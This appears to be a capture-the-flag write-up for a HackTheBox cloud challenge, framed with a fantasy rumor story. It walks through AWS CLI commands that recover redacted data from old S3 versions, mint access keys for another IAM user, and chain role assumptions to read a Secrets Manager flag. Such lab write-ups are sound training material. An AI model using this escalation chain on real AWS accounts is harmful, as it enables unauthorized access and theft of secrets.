HTB - Bought Riot

MediumHackTheBox4 min read

Scenario

Miren Vale attends a Suncourt meeting where officers are deciding who will guard the east road. A false story is already spreading: one of Stormbound's captains supposedly sold the road schedule to Vaultrune. By the time Miren arrives, the rumor has reached the commanders as a formal accusation. By morning, the captain's unit may get pulled from the road, leaving the supply carts without guards. Miren can't accuse Lady Seralyne, the woman who runs Suncourt, in front of the room. The officers would call it gossip, and the order would still go out. Miren has to find who started the rumor and who paid to spread it.


Enumeration

First thing I did was point my AWS CLI at the challenge's custom endpoint and load up the credentials I'd been given.

bash
export AWS_ENDPOINT_URL=http://154.57.164.81:30729
export AWS_DEFAULT_REGION=us-east-1
export AWS_ACCESS_KEY_ID=AKIAIV4N18F3NR211Q7W
export AWS_SECRET_ACCESS_KEY=Uzao8w1NGts2q/jNwdfLWX6AAT4wrbsxmckkJRQl
unset AWS_SESSION_TOKEN

# Verify identity
aws sts get-caller-identity

With my identity confirmed, I scanned the supply-road-settlements table to find the record marked LIVE, since that was supposedly the accusation actively in play.

bash
aws dynamodb scan --table-name supply-road-settlements

Digging through the results, I isolated the active row, ROAD-3D9C:

json
{
    "settlement_id": { "S": "ROAD-3D9C" },
    "status": { "S": "LIVE" },
    "runner_external_id": { "S": "eastreach-supply-road-runner-3d9c" },
    "broker_code": { "S": "EASTREACH-RELAY" },
    "scanner_role_arn": { "S": "arn:aws:iam::593847102664:role/supply-road-scanner" },
    "scanner_external_id": { "S": "eastreach-road-scanner-3d9c" },
    "vendor_ref": { "S": "eastreach-continuity" },
    "manifest_bucket": { "S": "supply-road-manifests" }
}

That row handed me my next lead: an IAM role called supply-road-scanner, the external ID needed to assume it, and an S3 bucket to go poke at.

Assuming the Scanner Role & Discovering S3 Redaction

I used sts-assume-role to pivot into supply-road-scanner:

bash
aws sts assume-role \
    --role-arn "arn:aws:iam::593847102664:role/supply-road-scanner" \
    --role-session-name "scanner-session" \
    --external-id "eastreach-road-scanner-3d9c"

Once I'd exported the temporary credentials, I recursively listed the supply-road-manifests bucket.

bash
aws s3 ls s3://supply-road-manifests/ --recursive

That turned up a manifest file matching my settlement ID, manifests/ROAD-3D9C.json. But when I pulled it down, most of the interesting fields had been stamped REDACTED under something called a "COMPLIANCE_HOLD." Not the end of the road — just an obstacle.

Bypassing Redaction via S3 Versioning

I've seen this pattern before: redaction on the current object often doesn't touch older versions if versioning is enabled on the bucket. So I checked.

bash
aws s3api list-object-versions --bucket supply-road-manifests --prefix manifests/ROAD-3D9C.json

Sure enough, there was an earlier version sitting there, noticeably larger than the redacted one — VersionId: 8febdfd1-9bef-4c49-91f0-4ecbdbc52c80. I grabbed it directly.

bash
aws s3api get-object \
    --bucket supply-road-manifests \
    --key manifests/ROAD-3D9C.json \
    --version-id 8febdfd1-9bef-4c49-91f0-4ecbdbc52c80 \
    unredacted-ROAD-3D9C.json

Decrypting the KMS Payload

The unredacted manifest wasn't plaintext — it was wrapped in a kms:v3:... ciphertext blob. But since the scanner role I was wearing had decrypt permissions, I just handed the blob straight to KMS.

bash
aws kms decrypt --ciphertext-blob fileb://unredacted-ROAD-3D9C.json --query Plaintext --output text | base64 -d

That gave me the plaintext I was after:

json
{
  "settlement_table":"supply-road-settlements",
  "broker_user":"road-messenger",
  "runner_role_arn":"arn:aws:iam::593847102664:role/supply-road-runner",
  "payout_secret_name":"supply-road/payout/eastreach-relay-3d9c",
  "broker_code_template":"{broker_code}",
  "schema_version":"2026-01",
  "owner":"eastreach-logistics"
}

Now I had real names to chase: a secret holding the payout, a user called road-messenger, and a role called supply-road-runner.

IAM Privilege Escalation & Lateral Movement

I tried reading the payout secret straight away as the scanner role — denied. Expected, but worth ruling out.

So I checked what else the scanner role could touch, and found something I could work with: it had permission to mint new access keys for the road-messenger user.

bash
aws iam create-access-key --user-name road-messenger

I grabbed the new AccessKeyId and SecretAccessKey, loaded them into my environment, and just like that I was operating as road-messenger.

Final Pivot

Even as the messenger, the secret was still out of reach. But between the decrypted manifest and my original DynamoDB scan, I had the last piece: road-messenger was the trusted identity for assuming supply-road-runner.

So I assumed it, using the external ID I'd noted all the way back in my initial access.

bash
aws sts assume-role \
    --role-arn "arn:aws:iam::593847102664:role/supply-road-runner" \
    --role-session-name "runner-session" \
    --external-id "eastreach-supply-road-runner-3d9c"

With runner privileges in hand, I finally had clearance to pull the payout secret from Secrets Manager.

bash
aws secretsmanager get-secret-value --secret-id "supply-road/payout/eastreach-relay-3d9c"

Output:

json
{
    "ARN": "arn:aws:secretsmanager:us-east-1:593847102664:secret:supply-road/payout/eastreach-relay-3d9c-BYQFL5",
    "Name": "supply-road/payout/eastreach-relay-3d9c",
    "SecretString": "HTB{[REDACTED]}"
}

Trail's end. The payout record was proof enough — the rumor had a price tag on it, and now I had the receipt.